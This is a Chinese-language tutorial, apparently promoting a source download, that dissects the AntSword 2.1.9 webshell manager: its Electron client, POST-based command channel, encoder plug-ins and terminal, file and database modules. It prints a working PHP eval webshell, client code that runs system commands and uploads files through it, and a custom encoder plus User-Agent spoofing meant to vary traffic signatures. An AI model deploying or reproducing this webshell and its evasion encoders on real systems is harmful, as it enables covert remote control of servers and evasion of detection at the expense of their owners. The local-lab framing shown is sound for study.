简介中国蚁剑AntSword2.1.9 源码压缩包适合网络安全渗透测试人员、安全工具爱好者及后端开发者下载研究。蚁剑轻量易用、跨平台运行以插件系统支撑远程连接、漏洞探测、命令执行等场景源码可作为定制开发与插件编写的基础。包内共 2777 个文件大小约 15.51MB主要包含 js 脚本、gif 图标、md 文档、json 配置、css 样式等目录结构清晰便于按模块阅读和调试。目前已有 1621 人学习下载。通过研读这份源码可掌握 HTTP 交互细节、服务端文件操作机制、插件 API 的扩展思路以及常见漏洞的探测方法同时还能学习项目的模块划分与跨平台适配技巧帮助提升 Web 安全实战能力和工具研发水平。1. 中国蚁剑源码 antSword 2.1.9一套适合拆着学的安全工具通信框架做安全工具的人十有八九手里都备着一份中国蚁剑的源码。antSword 2.1.9 表面上是跨平台的 WebShell 管理客户端拆开看是一整套“客户端发请求、服务端执行命令、结果加密回传”的完整代码工程——前端 Electron后端适配各种 PHP 环境中间夹着一层编码器注册机制。这个版本流传广、插件接口定型既是理解一句话通信底层逻辑的教材也是安全工具二次开发的基础底座。想了解原理的人能从源码里看到从请求封装到响应解码的完整链路想改功能的人能照着模块目录快速定位改动点。更实用的一点是这源码离线可跑本地配一个 PHP 环境装好 Node 工具链不依赖任何在线服务就能把整条链路跑通。2. 核心架构拆解Electron 壳、编码器与 PHP 服务端的通信三角2.1 进程模型与目录结构主进程、渲染进程怎么分工antSword 是个标准的 Electron 应用。源码解压后根目录下能看到 package.json、主进程入口文件和渲染进程入口文件。主进程负责创建窗口、管理应用生命周期、注册系统级事件渲染进程则是业务的主战场连接配置、终端、文件、数据库、插件扩展全在这里。结合源码目录看模块划分大致是antSword/source/ ├── package.json # Electron 启动配置与依赖声明 ├── background.js # 主进程入口管窗口和生命周期 ├── index.html # 渲染进程入口加载业务 UI ├── modules/ │ ├── index.html # 主界面框架 │ ├── shellManager/ # 连接配置管理 │ ├── terminal/ # 虚拟终端模块 │ ├── fileManager/ # 文件管理模块 │ ├── database/ # 数据库管理模块 │ └── encoder/ # 编码器集合 └── utils/ # 网络请求、数据转换等公共方法这个结构最大的特点是业务按能力边界切目录而不是按页面切目录。terminal 里既有终端 UI 的事件绑定也有构造 payload 的逻辑encoder 目录下每个文件是一个独立的编码器框架启动时自动扫描注册。对二次开发来说新增能力就是在 modules 下加一个子目录然后在框架注册表里登记一次主进程完全不用动。这种分层方式比把逻辑全塞在页面组件里好维护得多。很多 Electron 新手会困惑主进程和渲染进程之间怎么通信。在 antSword 里常规做法是渲染进程自己完成业务请求主进程只兜底处理窗口行为和系统级操作。也就是说业务链路里几乎没有 IPC 调用请求直接在渲染进程的 JS 里发出去。这样做的优点是业务代码能直接在浏览器 DevTools 里断点调试缺点是对渲染进程的权限控制要小心跨域、证书校验这些问题都要在渲染进程层面处理好。实际改动时如果你发现某些请求被 CORS 策略拦住第一反应别是加 Allow origin而是先确认这条请求是不是必须从渲染进程发出。2.2 通信协议一次连接从 URL 到 POST 请求的完整链路先说一条 shell 配置里存了什么。连接管理模块中每次新建都要求填四个关键项目标 URL、连接密码、编码器类型、请求头模板。很多人以为密码只是鉴权口令其实它还充当 POST 请求里的参数名。这个设计是刻意为之的参数名与密码绑定后同一个目标可以用不同密码挂在多个配置下服务端探针也只需要校验参数名对应值是否存在。测试连接的动作展开后是五步读取配置、生成 PHP 探针代码、编码器加密、POST 发送、解密响应。把每一步落到代码上// 网络层统一发送入口代码做了精简 const sendPayload async (shellInfo, payloadBuffer) { // 1. 根据配置获取对应编码器 const encoder loadEncoder(shellInfo.encoder); // 2. 编码器把原始 payload 变成密文 const encoded encoder.Encode(payloadBuffer, send); // 3. 以密码字段名为参数名构造表单数据 const form new URLSearchParams(); form.append(shellInfo.password, encoded.toString(binary)); // 4. 带上自定义请求头发送 const resp await fetch(shellInfo.url, { method: POST, headers: shellInfo.headers, body: form }); // 5. 响应先交给解码器还原再返回 const respBuffer Buffer.from(await resp.arrayBuffer()); return encoder.Decode(respBuffer, receive); };这段代码有三个关键点值得细看。第一个是 Encode 的第二参数框架调用时会传 send而解码时传 receive编码器内部可以根据场景决定要不要做差异化处理比如发送时压缩、接收时解压或者发送时加时间戳、接收时校验时间戳。第二个是 form.append 的字段名是 shellInfo.password这意味着密码字段出现在请求体里的形式完全由配置控制换一个密码就相当于换一个参数名。第三个是响应统一走 Decode 还原上层拿到的永远是净数据不会看到编码后的原始字节。我第一次看这段代码时最大的疑惑是为什么不用 JSON 而用表单格式。后面想明白了表单格式是 PHP 服务端最省事的接收方式探针代码用 $_POST 直接取值不需要解析 body连 Content-Type 都省心。这在整个工具的设计里是反复出现的倾向服务端代码尽量短负责解析的活尽量放到客户端做。所以你在编码器里能看到大量客户端加解密逻辑而服务端探针就只有 eval 那一行。2.3 编码器注册机制加一种加密方式只需要写两个函数编码器是 antSword 扩展性最强的一层。每个编码器文件固定导出 Encode 和 Decode 两个函数函数签名统一为 (dataBuff, status)dataBuff 是 Bufferstatus 是场景标识。框架在启动时扫描 encoder 目录把每个文件的模块对象登记到下拉列表里用户建连接时选一个之后所有收发都走它。以最朴素的默认编码器为例// modules/encoder/default.js use strict; const Encode (dataBuff, status) { // 不加密原样返回 return dataBuff; }; const Decode (dataBuff, status) { // 不解密原样返回 return dataBuff; }; module.exports { Encode, Decode };你可能觉得这不算编码器但它的存在很关键——所有编码器都保持同样输入输出业务层不需要关心底层具体是什么变换。社区里那些花式编码器有的在 Encode 里做跟“随机数混淆”类似的填充有的在 Decode 里按偏移量截断响应头都是在不改变签名的情况下丰富了通信特征。想验证一个编码器好不好用写两个函数、重启应用、建一条连接跑一下终端就知道整个调试周期不超过五分钟。status 参数是容易被忽略的部分。实际使用中初始连接、命令执行、文件上传三种场景返回的数据结构不一样编码器可以根据 status 做分支。比如文件上传场景里 Decode 拿到的可能是纯二进制文件流而不是 JSON如果编码器一刀切按文本处理就会把文件内容弄坏。所以写自定义编码器时我的习惯是先在文件上传场景跑一遍再跑命令执行场景两个都正常才算合格。3. 核心功能模块拆解终端、文件、数据库三种场景的实现思路3.1 虚拟终端命令执行与回显的完整链路终端模块的边界很清晰输入一条命令返回一段输出。但底层链路里命令要变成 PHP 代码PHP 代码要过编码器网络请求要等回包最后输出还要按终端格式渲染。任何一个环节出错界面上看到的都是黑框没反应。核心执行逻辑可以压缩成四个函数调用const execCommand async (shellInfo, command) { // 1. 拼装 PHP 代码这里用 JSON.stringify 转义参数避免引号冲突 const phpCode system(${JSON.stringify(command)});; // 2. 取配置指定的编码器 const encoder loadEncoder(shellInfo.encoder); // 3. 编码后发送await 等待服务端执行完返回 const resp await sendPayload(shellInfo, encoder.Encode( Buffer.from(phpCode, utf8), exec )); // 4. 直接转字符串展示 return resp.toString(utf8); };四个函数各管一件事。第一行的拼装是纯字符串模板把命令嵌入 PHP 的 system 调用JSON.stringify 会把命令里的双引号和反斜杠转义掉避免破坏 PHP 语法。第二步取编码器是对扩展机制的复用。第三步 sendPayload 在网络层内部完成编码、POST、解码超时控制也在这里。最后一步的 toString 其实隐含了字符集问题——如果服务端返回的不是 utf8这里就需要先转码。这里有一个常见误区认为终端返回慢是编码器慢。实际上 90% 的耗时在服务端执行本身编码器的加解密计算量可以忽略。真正会卡住的是网络层没有超时机制服务端执行命令挂住了界面就一直转圈。二次开发里增强终端体验的首要改动就是给 sendPayload 加一个 AbortController 超时超过设定时间主动断开并返回“执行超时”的提示。3.2 文件管理目录遍历与分块传输文件模块拆成两块看目录遍历和文件传输。目录遍历一次请求就能完成客户端发一段 PHP 代码读取目录条目服务端返回数组前端渲染成列表。文件传输则麻烦得多大文件必须分块边读边传客户端保持 offset 状态。文件上传的核心循环可以这样写const uploadFile async (shellInfo, localPath, remotePath) { const stat await fs.promises.stat(localPath); const chunkSize 1024 * 1024; // 1MB 一块 let offset 0; while (offset stat.size) { // 从本地文件读取当前块 const data await readChunk(localPath, offset, chunkSize); // 构造 PHP 代码按 offset 在远端文件指定位置写入数据 const phpCode buildWritePhp(remotePath, data, offset); await sendPayload(shellInfo, phpCode); // 推进偏移量下次继续 offset data.length; } };chunkSize 不是越大越好。PHP 服务端对 POST 请求体有默认限制post_max_size 通常是 8M如果客户端单次上传超过这个值服务端会直接返回空响应。2.1.9 里默认的分块大小在 512KB 到 1MB 之间这个区间基本能适配大多数服务端配置。另一个容易被忽略的点是 PHP 的 memory_limit小的虚拟主机上 memory_limit 可能只有 128M单块上传再大也只是触发内存溢出不会报 HTTP 错误现象就是文件传了一半服务端静默失败。下载是上传的逆过程逻辑上分三步先请求远端文件大小然后从 0 开始按偏移量逐块拉取每块直接追加写入本地文件。断点续传也依赖这个 offset 的设计上传前先向服务端发一个统计请求拿到远端文件当前大小把这个值作为起始 offset 接着写。我在看这部分代码时学到的一点是所有状态都由 offset 传递客户端不需要维护额外的会话状态即使中途断网重连只要重新查询远端文件大小就能续传。3.3 数据库模块连接复用与结果集渲染数据库模块要同时处理连接管理和结果展示两个问题。连接管理的关键是复用——每次 SQL 都重新握手没必要客户端初始化时会把数据库地址、端口、账号、密码打包成一次请求服务端 PHP 建连接后缓存到静态变量里后续 SQL 请求共用同一个连接句柄。服务端 PHP 一侧的核心片段如下// 服务端数据库执行的示意代码 $db new PDO($dsn, $user, $pass); $db-exec(set names utf8); $stmt $db-query($sql); $rows $stmt-fetchAll(PDO::FETCH_ASSOC); echo json_encode($rows);这里 set names utf8 是血泪经验。很多环境下数据库连接默认字符集不是 utf8查询结果里的中文会直接变问号。第一次遇到这个问题时我在客户端把响应转码、改解码器、调前端渲染折腾了一圈都没用最后发现是服务端建连接的字符集参数没设置。从那以后我的排查顺序变成先看服务端连接参数再看编码器逻辑最后才怀疑 UI 渲染。客户端的渲染部分相对直观拿到 JSON 数组后把第一行记录的字段名作为表头后续每行映射成表格行再给列表加排序。这层代码跟具体数据库类型无关MySQL、SQL Server、Oracle 的结果都能映射到同一个表格组件上。如果要新增一种数据库支持工作量主要集中在服务端 payload 的构造上客户端表格可以直接复用。4. 源码跑通环境准备、本地构建与目标环境搭建4.1 环境准备Node.js、Electron 与 PHP CLI 三件套要跑起这份源码本地机器需要三样东西Node.js 环境、Electron 依赖、PHP 命令行工具。Node.js 装 LTS 版本就行antSword 2.1.9 构建时对版本要求不苛刻12 以上都能跑通。PHP 是为了起本地目标环境用的Windows 上装个 PHP 并加入 PATHmacOS 和 Linux 用系统包管理器装就行版本建议 7.x 以上。Electron 作为依赖会在 npm install 时下载二进制这一步是新手最大的翻车点。国内网络下载 Electron 二进制经常超时解决办法是配置镜像源# 设置 Electron 二进制镜像后安装依赖 export ELECTRON_MIRRORhttps://npmmirror.com/mirrors/electron/ cd antSword/source npm installnpm install 跑完之后node_modules 目录里应该同时存在 electron 和项目自身的依赖。如果安装过程有红色报错先别急着重装把报错信息里提示的包名记下来单独安装那个包大部分情况是网络抖动导致的单包拉取失败。4.2 构建与启动npm install 之后做什么npm install 完成后运行 npm start 会拉起 Electron 窗口。如果这里报错优先看两个地方一是依赖是否完整安装node_modules 目录存在且 package.json 里的 dependency 都已就位二是 Electron 主进程入口是否正确启动脚本里指向的文件如果不存在窗口闪退前会在终端打出异常堆栈。antSword 的启动脚本实际就是在 electron 命令后带上项目目录等价于 npx electron .。首次启动后应用会初始化一个工作目录用来存放连接配置和插件数据。开发调试时可以直接打开渲染进程的 DevTools在业务 JS 里下断点看 payload 的构造过程。这一步我建议所有人都试一次因为只有断点到 sendPayload 里才能直观感受到编码器 Encode 返回的 Buffer 长什么样。注意DevTools 里看到的是编码后的数据不要以为那就是服务端收到的原始内容。中间还要经过 URLSearchParams 的序列化浏览器会把特殊字符再做一次百分号编码。调试时如果发现请求体和编码器的输出对不上先检查是不是被 form 序列化这一步转义了。4.3 搭建本地目标环境PHP 内置服务器加一句话探针跑通客户端的下一步是准备一个可以被连接的目标。最省事的做法是 PHP 内置服务器不需要装 Apache 和 Nginx。在任意目录写一个探针文件?php // 本地测试专用接收 POST 参数并执行 $password ant; eval($_POST[$password]); ?然后在同一目录启动 PHP 服务器php -S 127.0.0.1:8080 -t ./target这个命令的意思是以 target 目录为站点根目录监听本机 8080 端口。访问 http://127.0.0.1:8080/shell.php 就能拿到探针页面。回到 antSword 界面新建一条连接配置URL 填探针地址密码填 ant编码器选 default 或 base64点击测试连接。正常的话会返回当前服务器 PHP 版本、当前目录、禁用函数列表等环境信息。在配置连接之前我习惯先用 curl 手动验证一次探针是否可用避免把问题留给客户端# 手动构造一次 POST 请求验证探针能执行代码 curl -s -X POST http://127.0.0.1:8080/shell.php \ -d antecho md5(123);如果终端输出 202cb962ac59075b964b07152d234b70 这个 md5 值就说明服务端探针能正常执行传入的 PHP 代码接下来再排客户端的编码器和网络层。这个验证顺序能帮你快速把问题定位到具体环节。提示PHP 内置服务器是单线程的并发请求会排队。本地调试时如果你同时开了多个终端标签页有可能出现一个命令卡住、另一个命令等待的情况。测试够用但别拿它当并发压测环境。4.4 验证链路测试连接、终端、文件读写各跑一遍链路验证建议按顺序做三件事。第一件是测试连接确认编码器、密码参数、网络层三条通路都正常。第二件是在虚拟终端执行几条命令比如 php -v、ls、echo观察输出是否和期望一致。第三件是文件模块里做一次上传下载选一个小文件先传上去再下载到本地对比内容。三件事都通过后这条从客户端到服务端的完整链路就算彻底跑通了。之后再改编码器、调请求头、加插件都会基于这套验证流程回归。如果哪一步失败按链路倒着查先确认探针用 curl 能通再看客户端的请求有没有发出去最后才怀疑编码器。这个顺序能省掉大部分无效排查时间。5. 避坑手册连接超时、中文乱码和缓存不生效5.1 测试连接超时先分清楚是哪一段不通现象点测试连接后一直转圈直到超时提示。原因可能是目标 URL 不可达、PHP 内置服务器没起来、或者防火墙拦截了 8080 端口。解决先用浏览器打开探针地址看能不能访问再用 curl 手动发一个 POST排除 antSword 自身的问题。curl 命令可以直接带上密码参数并输出响应内容能看到明文执行结果说明探针没问题问题在网络层或编码器配置。如果 curl 都不通那就是目标环境的问题和工具无关。5.2 连接成功但终端执行命令无输出现象测试连接正常但终端里敲命令回车后没有任何回显。原因可能是服务端 PHP 禁用了 system 函数或命令本身被转义破坏了。解决终端执行 php -r echo hello; 试试如果这个有输出说明 payload 链路是通的再检查命令拼接。如果 system 被禁用尝试换用其他执行函数看环境是否支持。还可以打开服务端 PHP 错误日志看 eval 阶段有没有语法报错。日志里如果出现 syntax error多半是命令里的引号把 PHP 代码截断了检查 JSON.stringify 转义逻辑。5.3 中文乱码字符集链路三个环节逐个查现象文件内容、终端输出或数据库结果中的中文变成乱码。原因字符集问题可以出在三个环节——服务端 PHP 的 header 设置、数据库连接字符集、客户端解码假设。解决先在探针文件里加一句 header(Content-Type: text/html; charsetutf-8); 排除服务端响应头的问题再确认数据库初始化 payload 里有没有 set names utf8最后检查编码器 Decode 返回的 Buffer 在转字符串时用的编码格式。三个环节都排过一遍乱码基本能定位。5.4 修改编码器源码后不生效现象改了 encoder 目录下的 JS 文件重启应用还是走旧逻辑。原因Electron 渲染进程有模块缓存某些情况下旧的模块对象没被释放。解决完全退出应用再重新启动不要只刷新窗口。如果还不行把 source 目录下缓存相关的临时文件清掉再启动。开发模式下可以打开 DevTools 的 Network 面板确认加载的文件时间戳是否更新。这个问题看起来跟玄学似的其实就是模块缓存没清理干净。5.5 上传文件后内容和本地不一致现象上传大文件后服务端文件大小不对或尾部缺失。原因分块传输中断或者 chunkSize 超过了 PHP 的 post_max_size服务端静默丢弃了部分 POST 数据。解决先确认本地上传配置里的分块大小没有超过服务端 post_max_size再确认每次 offset 推进的逻辑正确最后查看服务端文件大小和本地大小做对比。如果差距稳定等于某个 chunkSize 的整数倍基本就是某一块被吞了。把分块改小到 512KB 再试大概率能解决。6. 二次开发实战写一个自己的编码器并接入系统6.1 加一个注释混淆编码器在 encoder 目录下新建一个文件导出两个函数框架启动时会自动扫描到它。下面这个编码器的思路是往 PHP 代码末尾追加随机注释让每次请求的 body 内容都不同// modules/encoder/comment-fake.js use strict; // 生成随机注释串 const rand () Math.random().toString(36).slice(2, 8); const Encode (dataBuff, status) { // 取原始 PHP 代码追加一段随机注释 const code dataBuff.toString(utf8); const fake /*${rand()}*/; return Buffer.from(code fake, utf8); }; const Decode (dataBuff, status) { // 解码时把注释剔除还原干净数据 const text dataBuff.toString(utf8).replace(/\/\*.*?\*\//g, ); return Buffer.from(text, utf8); }; module.exports { Encode, Decode };放在 encoder 目录后重启应用新建 shell 配置时编码器下拉菜单里就会出现 comment-fake。选上它走一遍测试连接和终端命令确认 PHP 的 eval 能接受带注释的代码。这个编码器虽然简单但它证明了“加一种新特征只要写两个函数”这件事不需要动任何业务层的代码。6.2 顺手改一下请求头模板改完编码器我还习惯顺手把默认请求头改掉。antSword 的连接配置里支持自定义请求头比如给每次请求补一个常见的浏览器 User-Agent。在 shellManager 配置界面里新增一条 Header 记录key 填 User-Agentvalue 填浏览器的 UA 字符串保存后重连即可。这类改动只影响当前配置的请求包特征不影响其他连接适合做同一目标的多特征切换测试。6.3 回归清单每次改完都在本地过一遍二次开发最怕改完一处坏掉另一处。我给自己定的规矩是每次改动后强制在本地走一遍完整回归。顺序固定为——新建连接选新编码器测试连接终端执行一条命令上传一个小文件再下载对比。三步全过才算这次改动合格。从那次改编码器改到一半、把默认连接搞坏的经历之后我养成了这个习惯所有编码器改动必须先跑一次测试连接再动终端顺序不能乱。这套回归流程虽然简单但能挡住大部分低级错误。希望帮到你。本文还有配套的精品资源点击获取